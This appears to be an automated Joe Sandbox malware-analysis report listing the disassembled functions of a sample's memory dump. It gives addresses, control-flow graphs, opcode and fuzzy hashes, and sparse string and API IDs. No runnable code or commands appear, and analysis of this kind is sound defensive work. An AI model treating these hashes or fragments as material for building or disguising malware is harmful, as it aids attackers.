                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: d
                                                              • API String ID: 0-2564639436
                                                              • Opcode ID: 49bec26d7a71e92e1557e0515c1df61aeb7529eb25a51c146c8d36c49c22cec6
                                                              • Instruction ID: 7c6061b48f356d5936c0edbf6ffb45025d7101d95744c32e67e67a86854b8d32
                                                              • Opcode Fuzzy Hash: 49bec26d7a71e92e1557e0515c1df61aeb7529eb25a51c146c8d36c49c22cec6
                                                              • Instruction Fuzzy Hash: 8AC1EE30A18A098FEB5CEF48D89597573E1FF99300B1045B9D84EC72AADA74FC438B81
                                                              Function 00007FFD9BA83612 Relevance: 1.6, Strings: 1, Instructions: 327COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1459 7ffd9ba83612-7ffd9ba83619 1460 7ffd9ba8361f-7ffd9ba83651 call 7ffd9ba833b0 call 7ffd9ba83280 1459->1460 1461 7ffd9ba83835-7ffd9ba83846 1459->1461 1460->1461 1468 7ffd9ba83657-7ffd9ba836a9 call 7ffd9ba833b0 call 7ffd9ba83280 1460->1468 1462 7ffd9ba8384d-7ffd9ba83858 1461->1462 1463 7ffd9ba83848 1461->1463 1463->1462 1468->1461 1475 7ffd9ba836af-7ffd9ba836f4 call 7ffd9ba833b0 1468->1475 1481 7ffd9ba83764-7ffd9ba837a0 1475->1481 1482 7ffd9ba836f6-7ffd9ba8370a call 7ffd9ba83280 1475->1482 1493 7ffd9ba837d9-7ffd9ba837de 1481->1493 1482->1461 1486 7ffd9ba83710-7ffd9ba83733 call 7ffd9ba833b0 1482->1486 1491 7ffd9ba83739-7ffd9ba83749 1486->1491 1492 7ffd9ba83905-7ffd9ba8391c 1486->1492 1491->1492 1494 7ffd9ba8374f-7ffd9ba83762 1491->1494 1497 7ffd9ba8391f-7ffd9ba8392d 1492->1497 1498 7ffd9ba8391e 1492->1498 1495 7ffd9ba837e5-7ffd9ba837ea 1493->1495 1494->1481 1494->1482 1499 7ffd9ba837a2-7ffd9ba837c2 1495->1499 1500 7ffd9ba837ec-7ffd9ba837ee 1495->1500 1502 7ffd9ba8392f 1497->1502 1503 7ffd9ba83935 1497->1503 1498->1497 1499->1492 1501 7ffd9ba837c8-7ffd9ba837d3 1499->1501 1500->1461 1504 7ffd9ba837f0-7ffd9ba837f3 1500->1504 1501->1493 1505 7ffd9ba838bb-7ffd9ba838cf 1501->1505 1502->1503 1506 7ffd9ba83939-7ffd9ba83978 1503->1506 1507 7ffd9ba83937 1503->1507 1508 7ffd9ba837f9-7ffd9ba83814 1504->1508 1509 7ffd9ba837f5 1504->1509 1512 7ffd9ba838d1 1505->1512 1513 7ffd9ba838d6-7ffd9ba838e1 1505->1513 1510 7ffd9ba83979 1506->1510 1515 7ffd9ba8397a-7ffd9ba83bba 1506->1515 1507->1506 1507->1510 1508->1492 1514 7ffd9ba8381a-7ffd9ba83833 call 7ffd9ba83280 1508->1514 1509->1508 1510->1515 1512->1513 1514->1461 1519 7ffd9ba83859-7ffd9ba83872 call 7ffd9ba833b0 1514->1519 1519->1492 1523 7ffd9ba83878-7ffd9ba8387f 1519->1523 1524 7ffd9ba838a9-7ffd9ba838b1 1523->1524 1525 7ffd9ba838b3-7ffd9ba838b9 1524->1525 1526 7ffd9ba83881-7ffd9ba8389d 1524->1526 1525->1505 1528 7ffd9ba838e2 1525->1528 1526->1492 1527 7ffd9ba8389f-7ffd9ba838a7 1526->1527 1527->1524 1528->1492
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: ._H
                                                              • API String ID: 0-1554571941
                                                              • Opcode ID: 51ffb742dc85188cce5cef744e4030552492fbbbd2cd53220338fbe2bac7ec82
                                                              • Instruction ID: 6b3c9cdc38ac6f759dc03dbbef69fab78c84e79ba7bb16c10a4ddf40131dad83
                                                              • Opcode Fuzzy Hash: 51ffb742dc85188cce5cef744e4030552492fbbbd2cd53220338fbe2bac7ec82
                                                              • Instruction Fuzzy Hash: 57C1E130A0AE4A9FE759DBA8C0706A4B7E1FF59300F4541B9E04EC7E96DB78B951C780
                                                              Function 00007FFD9BA8A7C2 Relevance: 1.6, Strings: 1, Instructions: 327COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1529 7ffd9ba8a7c2-7ffd9ba8a7c9 1530 7ffd9ba8a9e5-7ffd9ba8a9f6 1529->1530 1531 7ffd9ba8a7cf-7ffd9ba8a801 call 7ffd9ba8a560 call 7ffd9ba8a430 1529->1531 1532 7ffd9ba8a9f8 1530->1532 1533 7ffd9ba8a9fd-7ffd9ba8aa08 1530->1533 1531->1530 1538 7ffd9ba8a807-7ffd9ba8a82e call 7ffd9ba8a560 1531->1538 1532->1533 1542 7ffd9ba8a85e-7ffd9ba8a8a4 call 7ffd9ba8a560 1538->1542 1543 7ffd9ba8a830-7ffd9ba8a859 call 7ffd9ba8a430 1538->1543 1552 7ffd9ba8a8a6-7ffd9ba8a8ba call 7ffd9ba8a430 1542->1552 1553 7ffd9ba8a914-7ffd9ba8a950 call 7ffd9ba872c0 1542->1553 1543->1530 1543->1542 1552->1530 1559 7ffd9ba8a8c0-7ffd9ba8a8e3 call 7ffd9ba8a560 1552->1559 1563 7ffd9ba8a989-7ffd9ba8a990 call 7ffd9ba870c0 1553->1563 1564 7ffd9ba8aab5-7ffd9ba8aacc 1559->1564 1565 7ffd9ba8a8e9-7ffd9ba8a8f9 1559->1565 1569 7ffd9ba8a995-7ffd9ba8a99a 1563->1569 1570 7ffd9ba8aace 1564->1570 1571 7ffd9ba8aacf-7ffd9ba8aadd 1564->1571 1565->1564 1567 7ffd9ba8a8ff-7ffd9ba8a912 1565->1567 1567->1552 1567->1553 1572 7ffd9ba8a99c-7ffd9ba8a99e 1569->1572 1573 7ffd9ba8a952-7ffd9ba8a972 1569->1573 1570->1571 1575 7ffd9ba8aae5 1571->1575 1576 7ffd9ba8aadf 1571->1576 1572->1530 1577 7ffd9ba8a9a0-7ffd9ba8a9a3 1572->1577 1573->1564 1574 7ffd9ba8a978-7ffd9ba8a983 1573->1574 1574->1563 1578 7ffd9ba8aa6b-7ffd9ba8aa7f 1574->1578 1579 7ffd9ba8aae7 1575->1579 1580 7ffd9ba8aae9-7ffd9ba8ab28 1575->1580 1576->1575 1581 7ffd9ba8a9a5 1577->1581 1582 7ffd9ba8a9a9-7ffd9ba8a9c4 1577->1582 1585 7ffd9ba8aa86-7ffd9ba8aa91 1578->1585 1586 7ffd9ba8aa81 1578->1586 1579->1580 1583 7ffd9ba8ab29 1579->1583 1580->1583 1588 7ffd9ba8ab2a-7ffd9ba8ad6a 1580->1588 1581->1582 1582->1564 1587 7ffd9ba8a9ca-7ffd9ba8a9e3 call 7ffd9ba8a430 1582->1587 1583->1588 1586->1585 1587->1530 1592 7ffd9ba8aa09-7ffd9ba8aa22 call 7ffd9ba8a560 1587->1592 1592->1564 1596 7ffd9ba8aa28-7ffd9ba8aa2f 1592->1596 1597 7ffd9ba8aa59-7ffd9ba8aa61 1596->1597 1598 7ffd9ba8aa31-7ffd9ba8aa4d 1597->1598 1599 7ffd9ba8aa63-7ffd9ba8aa69 1597->1599 1598->1564 1600 7ffd9ba8aa4f-7ffd9ba8aa57 1598->1600 1599->1578 1601 7ffd9ba8aa92 1599->1601 1600->1597 1601->1564
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: [H
                                                              • API String ID: 0-3313097121
                                                              • Opcode ID: bc0e17170178a539bf0d63a6da4656b31f692c7ecead8eb910986f94a47ff270
                                                              • Instruction ID: 969f985e35c406a9af846effe023668c281ac923c90611cfd5cb66ec0ddfa863
                                                              • Opcode Fuzzy Hash: bc0e17170178a539bf0d63a6da4656b31f692c7ecead8eb910986f94a47ff270
                                                              • Instruction Fuzzy Hash: 89C1D370B19E4E8FE759DB68C4A06A4B7A1FF54300F4541B9C04EC7E96DB78B951C780
                                                              Function 00007FFD9BA85A39 Relevance: 1.5, Strings: 1, Instructions: 220COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: $0_L
                                                              • API String ID: 0-1748389573
                                                              • Opcode ID: ebe6dcbde854aee7a29c076cc97914ffd1fdaaa66678ccaeef62c28c07b3d048
                                                              • Instruction ID: 79bb95dfc45a7afef7ce6e2a43f596e0725b2ee1b78f8b30585f052e52c07d9d
                                                              • Opcode Fuzzy Hash: ebe6dcbde854aee7a29c076cc97914ffd1fdaaa66678ccaeef62c28c07b3d048
                                                              • Instruction Fuzzy Hash: FC51343160EF494FE7299B5898995707BF0EF66320B1502BEC489C75B3EA39B847C741
                                                              Function 00007FFD9B8AF0F5 Relevance: 1.4, APIs: 1, Instructions: 196memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4319410134.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9b8a0000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: 6946aa1e9b2849b82e8850246a92a275ed35fe825f1b6ea4bae6bc126b1c3334
                                                              • Instruction ID: 32dc581f040400afce7cb71a746463e5a503838809eca53545be62ae9f795464
                                                              • Opcode Fuzzy Hash: 6946aa1e9b2849b82e8850246a92a275ed35fe825f1b6ea4bae6bc126b1c3334
                                                              • Instruction Fuzzy Hash: A5513970908A5C8FDF98DF58D895BE9BBF0FB69310F1042AAD04DE3251DB70A981CB81
                                                              Function 00007FFD9BA8AC98 Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: e29f136dd4bdcacfa0076d44c28e11d3b69e6c7d0328e31067f15a65d856f881
                                                              • Instruction ID: 087d96c5f85202fd9f028a68f219522f56e633a8f44e0f79306691820e01daba
                                                              • Opcode Fuzzy Hash: e29f136dd4bdcacfa0076d44c28e11d3b69e6c7d0328e31067f15a65d856f881
                                                              • Instruction Fuzzy Hash: E3518071E09A4E8FDB68DBD8D4606BDB7B1FF58300F1141BAD01AE76A6DA742A01CB40
                                                              Function 00007FFD9BA83AE8 Relevance: 1.4, Strings: 1, Instructions: 138COMMON
                                                              Download Yara Rule
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID: 0-3916222277
                                                              • Opcode ID: 774641017017d2e551998c98749488c71d31b40d1d1748c45d12b58b1f64d1a4
                                                              • Instruction ID: e319627699cc335ed45a1ecc2955ab45b53af26c58999c6df1ae2e7fe0eb3871
                                                              • Opcode Fuzzy Hash: 774641017017d2e551998c98749488c71d31b40d1d1748c45d12b58b1f64d1a4
                                                              • Instruction Fuzzy Hash: C0517F71E09A4E9FDB59CB98C4645BDB7F1FF58300F1140BED01AE76A2DA792A05CB40
                                                              Function 00007FFD9BA80F29 Relevance: .5, Instructions: 523COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 44713ac19d6b7192f5f3cb6bdcfdd02a3ad9341d30378d81fac5d231efae7dae
                                                              • Instruction ID: 57d332ed670fe9715e54aa5bc2994a9082fcc73517db854378a9f660637b3e9c
                                                              • Opcode Fuzzy Hash: 44713ac19d6b7192f5f3cb6bdcfdd02a3ad9341d30378d81fac5d231efae7dae
                                                              • Instruction Fuzzy Hash: 33314972F0F99B86F63653E828314F86A509F69620F5A00BFD04D868F7ECDC2A555382
                                                              Function 00007FFD9BA83D5F Relevance: .4, Instructions: 429COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: d91d3fb04f1573a73596f9c0764fa2a0ba5fbc6b8b2651a3bbeaaba6cf0abbbe
                                                              • Instruction ID: 100718b882c3f038e8efb615a78ae776978c26e93e13ee9f5f2ec6a940f4b34f
                                                              • Opcode Fuzzy Hash: d91d3fb04f1573a73596f9c0764fa2a0ba5fbc6b8b2651a3bbeaaba6cf0abbbe
                                                              • Instruction Fuzzy Hash: B5F1F430619A498FEB69CF58C4E06B537A1FF45300F5141BDC84ACB6ABCA78F981CB81
                                                              Function 00007FFD9BA84DC7 Relevance: .4, Instructions: 407COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 2496170801bd8737b15475d7ed2f97c0e630c767f042ca74a4ed9876c5fc1506
                                                              • Instruction ID: 45576f710ee5ee06d8f817c4d61cffc90dd9d77a6b979ddcd7e392bb91ddde12
                                                              • Opcode Fuzzy Hash: 2496170801bd8737b15475d7ed2f97c0e630c767f042ca74a4ed9876c5fc1506
                                                              • Instruction Fuzzy Hash: 74D1F330A0EF4A8FE369DB68D4A057577E1FF44300B1145BEC44AC7AA2DEB9B9468781
                                                              Function 00007FFD9BA8AF0F Relevance: .4, Instructions: 366COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 9401deef7649c55cc2f9f263f60fc1776f4a8a6c0fc43a214ca7a921471180bd
                                                              • Instruction ID: a7ac30cbff03a57fa4fcda85bc4796842f3a3c7c7e457761c2a3083017f5f81f
                                                              • Opcode Fuzzy Hash: 9401deef7649c55cc2f9f263f60fc1776f4a8a6c0fc43a214ca7a921471180bd
                                                              • Instruction Fuzzy Hash: CED1D43061991A8FEB59CF48C0E05B437A1FF55310B9541BDC85B8FA9BDA79F982CB80
                                                              Function 00007FFD9BA83D7F Relevance: .3, Instructions: 337COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 63bf4660693787d216dc6a1ce2b19c00d39538b5816c551984d231167f75a39a
                                                              • Instruction ID: 3299c9c38097b3cd42ba7d1e31742e8c966496317e0fed9e19ad5a2a36ccc14b
                                                              • Opcode Fuzzy Hash: 63bf4660693787d216dc6a1ce2b19c00d39538b5816c551984d231167f75a39a
                                                              • Instruction Fuzzy Hash: 51C1D330619A4A8FEB1DCF58C4E05B137A1FF45300B5545BDD89B8BAABCA78F941CB81
                                                              Function 00007FFD9BA8AF2F Relevance: .3, Instructions: 335COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: d710f7f6a6bfa29f2af6813f9d2aba70a6b19ba2e10b366df6436194b3e236a0
                                                              • Instruction ID: 88c1ed0a2b32dad072c94f4a3faead3020fb63f0a532b96a940af218413bc0b4
                                                              • Opcode Fuzzy Hash: d710f7f6a6bfa29f2af6813f9d2aba70a6b19ba2e10b366df6436194b3e236a0
                                                              • Instruction Fuzzy Hash: ADC1E33061991A8BEB2DCF44C0E05B537A1FF55300B9545BDC85B8FA9BDA78F982CB80
                                                              Function 00007FFD9BA87DC6 Relevance: .3, Instructions: 328COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 627b7882dc76cc617e9607e0e042e2945df5e8e32982f323bac6fdc3581e0a45
                                                              • Instruction ID: 0042d013e656769c4b59b207c0c97070f726e81b3f09e7ec0b5c7a8898329afa
                                                              • Opcode Fuzzy Hash: 627b7882dc76cc617e9607e0e042e2945df5e8e32982f323bac6fdc3581e0a45
                                                              • Instruction Fuzzy Hash: 3EA1C331A0E84D8FD778DB5888659B437D1FF58310B1502B9D05EC79B2DE78AE0AC781
                                                              Function 00007FFD9BA8D9D7 Relevance: .3, Instructions: 322COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 205f029a6882035c87b1656b0f7e8c95f6f532f74142ebed384a8cc2d30d54e3
                                                              • Instruction ID: 3aa66d420d8278617bf5f4a04c1918819f4702ddd17263c397e2c847b43b4fdd
                                                              • Opcode Fuzzy Hash: 205f029a6882035c87b1656b0f7e8c95f6f532f74142ebed384a8cc2d30d54e3
                                                              • Instruction Fuzzy Hash: C431C6B2B0E95BC7E23973A838350F85740AF51364F1A017BD48D8B4E7ECEC2A425281
                                                              Function 00007FFD9BA8DA27 Relevance: .3, Instructions: 299COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e956bcfafb52769bf685caec39eeac2c9259af2ceeeb67468668e9939838a205
                                                              • Instruction ID: a014db075bf035408811961e5478c9492cab617fdc03a9904971c76f282fc120
                                                              • Opcode Fuzzy Hash: e956bcfafb52769bf685caec39eeac2c9259af2ceeeb67468668e9939838a205
                                                              • Instruction Fuzzy Hash: D32178B2F0ED9B8BF37963F528351B85A416F51220F1A01BFD48D4A4F2DCEC26415395
                                                              Function 00007FFD9BA881C8 Relevance: .3, Instructions: 299COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: fbe4f83c3d65ccaa104401566aef6d4e8eccb81217673ed7a7af6fd103b7ee5b
                                                              • Instruction ID: 6c5c6ecb4bdb311b68e54bc50da9506d66dc65525774812b898f52d0744d2ccf
                                                              • Opcode Fuzzy Hash: fbe4f83c3d65ccaa104401566aef6d4e8eccb81217673ed7a7af6fd103b7ee5b
                                                              • Instruction Fuzzy Hash: 4221A1B7F0ED9B86F27963E928315B816509F50375F1A0177D44E868E2ECEC3A412392
                                                              Function 00007FFD9BA8D9CF Relevance: .3, Instructions: 296COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: bd0c62dbc672c5a47e9e02d78af8c6dc12bd854e5ec502525ebab72c4babf431
                                                              • Instruction ID: 13821e81803d6fae153ad632e84c606bfd34a3a59b800df369392113663ef4f4
                                                              • Opcode Fuzzy Hash: bd0c62dbc672c5a47e9e02d78af8c6dc12bd854e5ec502525ebab72c4babf431
                                                              • Instruction Fuzzy Hash: 272185B2F0FD9B87F27963F428351B856416F51220F2A017EC48D4A8F2DCEC2A515281
                                                              Function 00007FFD9BA80508 Relevance: .3, Instructions: 278COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 578cc948ed9a2cf8b3177f75e5aabe754c99a5ec6630132d56b4149e218f08af
                                                              • Instruction ID: b157a24ab988756924233cb46590b0f7a71a57d4fce84229201bf4a21eeb165f
                                                              • Opcode Fuzzy Hash: 578cc948ed9a2cf8b3177f75e5aabe754c99a5ec6630132d56b4149e218f08af
                                                              • Instruction Fuzzy Hash: 50A1E970A0991D8FDFA4EF98C495AADBBF1FF59301F11016AD00DE72A2CA74A985CB50
                                                              Function 00007FFD9BA89CF6 Relevance: .3, Instructions: 261COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 43882e9b2110713269296b041678d32249246548b76c57a0c66f6c27bd4bc24e
                                                              • Instruction ID: 1c3fd5b43a6008f23ba33dec95fac7f23890d47dc63c5191f2476fa1c818f1ad
                                                              • Opcode Fuzzy Hash: 43882e9b2110713269296b041678d32249246548b76c57a0c66f6c27bd4bc24e
                                                              • Instruction Fuzzy Hash: 4F817C31B0EF494FE3399B6994681797BE1EF85310B15157ED18EC39A3DE7879018341
                                                              Function 00007FFD9BA82B56 Relevance: .3, Instructions: 258COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 6bdd5d2f1e8b32ef4cd1966eefd3228e89cfe18f6683ccdba2ae041a535195ca
                                                              • Instruction ID: e49290b3f483b5f39f63260038ad7358c720e605f68c3b82e46615e0cd03a1fa
                                                              • Opcode Fuzzy Hash: 6bdd5d2f1e8b32ef4cd1966eefd3228e89cfe18f6683ccdba2ae041a535195ca
                                                              • Instruction Fuzzy Hash: 4A713771B0EF4A4FE3789BE898654797BE0EF45310B16057ED48EC39A2DE78B6068341
                                                              Function 00007FFD9BA80BD1 Relevance: .2, Instructions: 250COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 4b2c54fad9e7566035d2efd938d4ee354cf5c56dcf0d6167150216c4bb62fba6
                                                              • Instruction ID: 2794d6bc4cc10bf5b615960ef39a51458ec6a30b09f624bf5c16a9db21298694
                                                              • Opcode Fuzzy Hash: 4b2c54fad9e7566035d2efd938d4ee354cf5c56dcf0d6167150216c4bb62fba6
                                                              • Instruction Fuzzy Hash: 5E713370B0ED4E8FEBB8DF48C8655A437D1FF48711B160276D49DC79B2CAB8A9068384
                                                              Function 00007FFD9BA8E29B Relevance: .2, Instructions: 240COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 00c2746672b514fa080c6dbbf3c38edbad937e00433792feff5145a10603dad6
                                                              • Instruction ID: d2dbcefc2e9c02e4d7f06a946d2589b6046a652333ea54ece713fa2034092ba0
                                                              • Opcode Fuzzy Hash: 00c2746672b514fa080c6dbbf3c38edbad937e00433792feff5145a10603dad6
                                                              • Instruction Fuzzy Hash: 9C81B430E1D94ECEEBA8DBA488646BCBBB0FF59300F5104B9D01ED75A2EA7469418701
                                                              Function 00007FFD9BA8BF51 Relevance: .2, Instructions: 237COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 259e1eb0c9bdf9f8b435c5d9e287bddbd8397b3609a3e8568099a474f915983d
                                                              • Instruction ID: 06d5449ffd4468802a1198678b41dd980be0295c8ab456c6ccc439f25e88d46e
                                                              • Opcode Fuzzy Hash: 259e1eb0c9bdf9f8b435c5d9e287bddbd8397b3609a3e8568099a474f915983d
                                                              • Instruction Fuzzy Hash: 9191B130A0AF0A8FD369DB64C5A4575B7A1FF44300B51457EC44AC7EA2EBB9B942CB40
